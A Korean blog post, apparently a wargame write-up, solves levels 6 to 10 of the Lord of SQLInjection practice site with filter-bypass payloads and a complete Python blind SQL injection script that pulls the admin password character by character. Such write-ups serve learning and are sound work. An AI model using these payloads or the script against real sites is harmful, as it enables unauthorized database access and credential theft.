본문 바로가기

워게임

los rubiya -6,7,8,9,10 풀이

안녕하세요! 이번에도 저번 포스팅에 이어서 계속 풀어보겠습니다. 생각보다 재밌네요

 

 

6번 스타트

 

다크엘프

 

음..!

 

이번에 보니 or 구문과 and 구문을 안 쓰고 id을 admin으로 접속하라네요

게다가 쿼리문을 보니 id가 guest로 고정되어 있습니다. 그럼 특수 기호를 사용해 보겠습니다.

or은 || 으로 and는 &&으로 해보겠습니다. pw=' || id='admin 작성해 보겠습니다.

 

 

바로 됬네요!

 

쉽네요 이렇게 or이나 and문은 특수 기호인 ||와 && 을 대신 이용 가능하니깐 알아둡시다!

 

 

 

 

 

 

 

다음 7번!

 

 

 

오그

 

 

오호

 

이번에도 마찬가지네요! or이랑 and을 사용 못하게 했습니다. 근데 마지막 문장에

 

$result['pw']값이 admin 꺼야만 되고 저희가 작성한 값이랑 일치해야만 한다고 합니다.

 

그러니 or이랑 and을 안 쓰고 admin의 비밀번호를 알아내어라 이야기네요. 

그럼 4번 문제랑 다를 게 없네요! or이랑 and을 특수 문자로 바꾸고 url도 바꾸고 해 보겠습니다.

 

4번 풀이는 전 포스팅에 있습니다.

https://mynameisarke.tistory.com/44

 

los rubiya -1,2,3,4,5 풀이

안녕하세요! 이번에는 SQLi 전용 워게임 사이트를 풀어보겠습니다. 사이트는 https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr 여기입니다. 그렘린부터 풀겠습니다. query문을 알려 주네요! 1번이라 쉬운

mynameisarke.tistory.com

 

 

그대로 코드를 가져와서 or을 ||로 and을 &&로 바꾸어주겠습니다.

url 수정도 까먹으시면 안돼요!

 

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = int((start+end)/2) 

        data = {
            "pw": blind_query.format(query, s, 0)
        } #먼저 아스키 코드가 0인지 식별

        response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

        if index_value not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
                "pw": blind_query.format(query, s, mid),
            } #POST로 보낼 값 각각 작성


            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value not in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화
                print(value) #잘되는지 확인용


    return value


blind_query = "' || (id ='admin' && ascii(substring(({}),{},1))>{} )&& '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

 

 

실행해보겠습니다.

 

제가 생각해도 이 파이썬코드는 혁명입니다

 

좋아요! 이제 pw=7b751aec 입력하겠습니다

 

 

좋아요!

 

다음문제!

 

 

 

 

8번입니다.

 

트롤.. 늘 제가 하는 짓이죠

 

 

 

호오..

 

admin을 작성 안 하고 admin을 찾게 하라네요!

 

심지어 ' 사용도 막았습니다. 그래도 " 사용은 가능하네요!

그나마 다행인 건 prob_troll을 써도 된다는 이야기입니다.

 

음.. 어떻게 하면 좋을까요 무엇보다도 ' 을 막은 게 매우 큽니다.

그래도 저희는 우회하는 방법을 찾을 겁니다.

 

SQL문에서는 대소문 자을 구별하지 않는 경우가 더러 있습니다. 한번 ADMIN이라고 입력해 보겠습니다.

 

id=ADMIN

 

 

기억합시다 SQL문에서 검색할 때 특별한 함수 없는 이상 대소문자 구별 X

 

다음 문제! 

 

 

 

 

 

 

9번

 

뱀파이어

 

 

아하..

 

strtolower 은 소문자로 바꿔주는 함수입니다.

그리고 str_replace는 특정 문자열을 찾아서 지우는 역할을 합니다.

즉 저기서 GET으로 받은 id을 소문자로 바꿔주고 replace로 admin을 전부 없애는 과정이 있습니다.

 

근데? id을 admin으로 나오게 하라네요!

'(작은 따옴표) 사용도 금지입니다.

 

음.. 전 문제의 업그레이드이네요 소문자만 입력이 된다라.. admin을 입력해도 지운다라..

 

그럼 장난치면 되죠! adadminmin 이라고 입력하여서 보내겠습니다.

이러면 소문자로 치환되고 replace로 가운데에 있는 admin을 없애줘서 자동으로

admin이 완성이 됩니다!

 

 

이것도 쉽네요

 

다음!

 

 

 

 

 

10번 문제

 

해골

 

 

 

신기한 sql문이네요 진짜로 맨 뒤에 and 1=0을 넣어서 일부로 거짓을 행하게 해

이 sql문이 실행되지 않게 하고 있습니다. 그럼 뭐.. 주석을 사용해서 없애면 되죠

 

pw=1' OR id='admin' %23

 

%23은 아스키코드로 sql문의 한 줄 주석처리 담당 해주는 #입니다.

 

 

쉽네요

 

 

오늘은 여기까지 작성하겠습니다. 생각보다 재밌네요 내일 또 풀어 보겠습니다. 감사합니다!

 

 

'워게임' 카테고리의 다른 글

los rubiya -17,18풀이  (0) 2023.05.15
los rubiya -14,15,16 풀이  (0) 2023.05.14
los rubiya -11,12,13 풀이  (0) 2023.05.12
los rubiya -1,2,3,4,5 풀이  (2) 2023.05.10
해킹 전용 사이트 만들기 - 1 (SQLi)  (0) 2023.05.08